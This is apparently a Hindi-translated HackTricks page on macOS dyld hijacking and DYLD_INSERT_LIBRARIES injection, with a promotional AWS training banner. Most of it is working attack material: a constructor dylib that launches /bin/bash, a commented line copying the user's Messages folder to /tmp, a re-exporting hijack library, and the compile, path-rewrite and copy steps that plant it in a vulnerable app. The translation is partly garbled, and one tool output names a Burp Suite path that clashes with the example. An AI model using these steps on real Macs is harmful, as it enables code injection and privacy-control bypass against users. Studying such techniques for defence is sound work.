macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

दूसरे तरीके HackTricks का समर्थन करने के लिए:

DYLD_INSERT_LIBRARIES मूल उदाहरण

शैल को निष्पादित करने के लिए इंजेक्ट करने वाली पुस्तकालय:

// gcc -dynamiclib -o inject.dylib inject.c

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))

void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}

आक्रमण के लिए बाइनरी:

// gcc hello.c -o hello
#include <stdio.h>

int main()
{
printf("Hello, World!\n");
return 0;
}

संधारण:

DYLD_INSERT_LIBRARIES=inject.dylib ./hello

Dyld हाइजैकिंग उदाहरण

लक्षित वंलरेबल बाइनरी है /Applications/VulnDyld.app/Contents/Resources/lib/binary.

codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
[...]com.apple.security.cs.disable-library-validation[...]

पिछली जानकारी के साथ हमें पता चलता है कि यह लोड की गई पुस्तकालयों के हस्ताक्षर की जांच नहीं कर रहा है और यह एक पुस्तकालय लोड करने की कोशिश कर रहा है:

  • /Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib

  • /Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib

हालांकि, पहला मौजूद नहीं है:

pwd
/Applications/VulnDyld.app

find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib

इसलिए, इसे हाइजैक करना संभव है! एक लाइब्रेरी बनाएं जो कुछ अनियमित कोड को क्रियान्वित करती है और वास्तविक लाइब्रेरी की तरह समार्थन निर्यात करती है उसे पुनः निर्यात करके। और याद रखें कि इसे उम्मीद की गई संस्करणों के साथ कंपाइल करें:

lib.m
#import <Foundation/Foundation.h>

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}

इसे कंपाइल करें:

gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport

पुनयायात्रा पथ जो पुस्तकालय में बनाया गया है, लोडर के संबंध में सापेक्ष है, हम इसे निर्यात करने के लिए एक पूर्ण पथ के लिए बदल देंगे:

#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)

#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib

# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)

अंत में इसे हाइजैक की गई स्थान पर कॉपी करें:

cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"

और बाइनरी को चलाएं और जांच करें कि लाइब्रेरी लोड हो गई है:

"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
Usage: [...]

इस व्यक्तिगत दुरुपयोग को दुरुपयोग करने के लिए इस कमजोरी के बारे में एक अच्छा लेख https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/ में मिल सकता है।

बड़े पैमाने पर

यदि आप अप्रत्याशित बाइनरी में लाइब्रेरी इंजेक्शन करने की कोशिश कर रहे हैं तो आप प्रक्रिया के अंदर लाइब्रेरी लोड होने का पता लगाने के लिए घटना संदेशों की जांच कर सकते हैं (इस मामले में printf और /bin/bash निष्क्रिय करें)।

sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए:

Last updated